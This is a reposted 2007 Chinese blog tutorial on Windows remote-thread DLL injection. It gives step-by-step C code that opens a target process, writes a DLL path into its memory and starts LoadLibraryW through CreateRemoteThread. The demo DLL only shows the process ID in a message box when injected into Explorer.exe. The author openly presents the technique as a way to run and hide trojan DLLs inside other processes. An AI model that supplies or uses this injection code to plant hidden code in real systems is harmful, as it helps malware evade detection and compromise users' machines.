遠端執行緒嵌入技術 (轉)

worldblog發表於2007-12-14
遠端執行緒嵌入技術 (轉)[@more@]

執行緒嵌入技術


  遠端執行緒技術指的是透過在另一個程式中建立遠端執行緒的方法進入那個程式的地址空間。我們知道,在程式中,可以透過CreateThread建立執行緒,被建立的新執行緒與主執行緒(就是程式啟動時被同時自動建立的那個執行緒)共享地址空間以及其他的資源。但是很少有人知道,透過CreateRemoteThread也同樣可以在另一個程式內建立新執行緒,被建立的遠端執行緒同樣可以共享遠端程式(是遠端程式耶!)的地址空間,所以,實際上,我們透過一個遠端執行緒,進入了遠端程式的記憶體地址空間,也就擁有了那個遠端程式相當的。例如在遠端程式內部啟動一個DLL(與進入程式內部相比,啟動一個DLL木馬是小意思,實際上我們可以隨意篡改那個遠端程式的資料)。

  首先,我們透過OpenProcess 來開啟我們試圖嵌入的程式(如果遠端程式不允許開啟,那麼嵌入就無法進行了,這往往是由於許可權不足引起的,解決方法是透過種種途徑提升本地程式的許可權)

 hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file://允許遠端建立執行緒
                PROCESS_VM_OPERATION | file://允許遠端VM操作
                PROCESS_VM_WRITE,//允許遠端VM寫
                FALSE, dwRemoteProcessId )

  由於我們後面需要寫入遠端程式的記憶體地址空間並建立遠端執行緒,所以需要申請足夠的許可權(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。

  然後,我們可以建立LoadLibraryW函式這個執行緒來啟動我們的DLL木馬,LoadLibraryW函式是在kernel32.dll中定義的,用來載入DLL,它只有一個引數,就是DLL檔案的絕對路徑名psFileName,(也就是木馬DLL的全路徑檔名),但是由於木馬DLL是在遠端程式內的,所以我們首先還需要將這個檔名複製到遠端地址空間:(否則遠端執行緒是無法讀到這個引數的)

 file://計算DLL路徑名需要的記憶體空間
 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
 file://使用VirtualAllocEx函式在遠端程式的記憶體地址空間分配DLL檔名緩衝區
 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
            MEM_COMMIT, PAGE_READWRITE);
 file://使用WriteProcessMemory函式將DLL的路徑名複製到遠端程式的記憶體空間
 iReturnCode = WriteProcessMemory(hRemoteProcess,
            pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
 file://計算LoadLibraryW的入口地址
 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
     GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

  OK,萬事俱備,我們透過建立遠端執行緒時的地址pfnStartAddr(實際上就是LoadLibraryW的入口地址)和傳遞的引數pszLibFileRemote(實際上是我們複製過去的木馬DLL的全路徑檔名)在遠端程式內啟動我們的木馬DLL:

 file://啟動遠端執行緒LoadLibraryW,透過遠端執行緒呼叫的DLL檔案
 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,
                 pfnStartAddr, pszLibFileRemote, 0, NULL);

  至此,遠端嵌入順利完成,為了試驗我們的DLL是不是已經正常的在遠端執行緒執行,我編寫了以下的測試DLL:

 BOOL ENTRY DllMain(HANDLE hModule, D reason, LPVOID lpReserved)
   {
    char szProcessId[64] ;
    switch ( reason )
     {
      case DLL_PROCESS_ATTACH:
       {
         file://獲取當前程式ID
         _itoa ( GetCurrentProcessId(), szProcessId, 10 );
         MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK );
       }
      default:
      return TRUE;
     }
   }

  當我使用RmtDll.exe將這個TestDLL.dll嵌入Explorer.exe程式後(PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具也能看到

   Process ID: 1208
   C:WINNTExplorer.exe (0x00400000)
   ……
   C:TestDLL.dll (0x100000000)
   ……

  這證明TestDLL.dll已經在Explorer.exe程式內正確地執行了。

  無論是使用特洛伊DLL還是使用遠端執行緒,都是讓木馬的核心程式碼執行於別的程式的記憶體空間,這樣不僅能很好地隱藏自己,也能更好的保護自己。


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-993377/,如需轉載,請註明出處,否則將追究法律責任。

相關文章